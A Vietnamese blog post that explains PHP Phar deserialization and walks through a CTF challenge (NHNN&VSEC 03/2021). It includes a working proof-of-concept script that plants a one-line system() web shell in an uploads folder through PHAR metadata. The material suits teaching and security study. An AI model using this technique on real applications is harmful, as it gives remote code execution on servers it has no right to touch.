Khai thác lỗ hổng Phar Deserialization như thế nào?

I. Phar Deserialization là gì?

Deserialization là một điểm yếu hot nhất của các nhà nghiên cứu bảo mật trong một thập kỷ gần đây. Mỗi năm lỗ hổng này ngày càng xảy ra nhiều hơn đối với các ngôn ngữ lập trình như Java, C# (thông qua .NET framework)

Sam Thomas, tại Blackhat 18 tại Mẽo đã giới thiệu một cách khai thác lỗ hổng mới trong PHP. Kiểu tấn công này khai thác xoay quay 01 phương thức stream wrapper là phar://, do chúng tự động “deserialized” metadata từ tệp PHAR

Do đó, nó mở ra các khai thác liên quan tới lập trình hướng thuộc tính bằng cách sửa đổi các thuộc tính của các object để thay đổi luồng logic của ứng dụng, mục đích cuối cùng best nhất là RCE.

II. Phân tích PHAR archive

Giống như tệp JAR của java, ở PHP ta có thể chia sẻ thư viện hoặc toàn bộ ứng dụng dưới dạng một tệp duy nhất đó là PHAR (PHP Archive)

Một file PHAR bao gồm 04 thành phần:

  1. Stub
  2. Manifest
  3. File Contents
  4. Signature

sub: đây là phần đầu tiên của PHAR, chứa mã nguồn chính, code gì cũng được miến cuối cùng phải có __HALT_COMPILER():

  <?php echo ‘STUB!’; __HALT_COMPILER(); ?>

Manifest chứa các trường siêu dữ liệu (metadata) bao gồm thông tin về archive và các file trong archive. Điều quan trọng là các metadata này được lưu trữ dạng serialized format. Bất cứ một “hoạt động tệp” tác động đến tệp PHAR mà sử dụng wrapper phar:// thì những metadata này sẽ tự động deserialized.

file_get_contents('phar://./archives/app.phar') 

Để thêm metadata vào archive, sử dụng:

PHAR: : setMetadata (mixed $metadata)

file contents: là các file thực có trong archive, chỉ vậy

//adds thêm file bằng $path to the archive as $name

PHAR: : addFile (string $path$name)

    //adds $contents to the archive as $name

  PHAR: : addFromString (string $namestring $contents)

Signature: là một hàm băm của file archive, ta phải có chữ ký hợp lệ nếu muốn truy cập file archive từ PHP

Cách build 01 file phar:

php --define phar.readonly=0 <name>.php

III. Khai thác Phar Deserialization như nào?

Kẻ tấn công có thể thêm object từ bất kỳ class vào metadata của PHAR. Khi file PHAR được kích hoạt bên trong code PHP, tiến trình “deserialization” của PHAR cũng được kích hoạt cmnl.

Chương trình sẽ load các object đã được định trước trong metadata của PHAR (nếu nó thuộc về một class có trong code PHP). Ở PHP người ta có một số method mà khi có một sự kiện nhất định sẽ được gọi, người ta gọi là magic method (ma dịch mê thọt), trong chủ đề này ta chỉ quan tâm 02 thằng magic method là __wakeup()__destruct(), vì chúng được gọi khi một object cần unserialized hoặc destroyed. Hãy tập trung vào __destruct() vì rất có thể nó đã được định nghĩa trong code PHP của ứng dụng mục tiêu rồi.

Dưới đây là một ví dụ về luồng để giúp bạn hình dung một cuộc tấn công Phar Deserialization như thế nào:

IV. Khai thác Phar Deserialization trong thực tế (hoặc CTF)

Sau đây là bài lele trong cuộc thi CTF NHNN&VSEC 03/2021, download source code tại:

Chuẩn bị file PHAR

<?php include 'logging.php'; 
$dummy = new LogFile(); 
$dummy->filename = "/var/www/html/uploads/ahihi1011.php"; 
$dummy->fcontents = "<?php echo system(\$_GET['b'])?>"; @unlink("poc.phar"); 
$poc = new Phar("poc.phar"); 
$poc->startBuffering(); 
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();"); $poc["file"] = "text"; 
$poc->setMetadata($dummy); 
$poc->stopBuffering(); ?>

Build ra file PHAR nội dung trông nó thế này

Up lên, method destruct đã được gọi, khai thác thành công

Vào shell lấy flag, gg ez

Tham khảo tại: https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/

Published by Nhat Truong

Hi

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: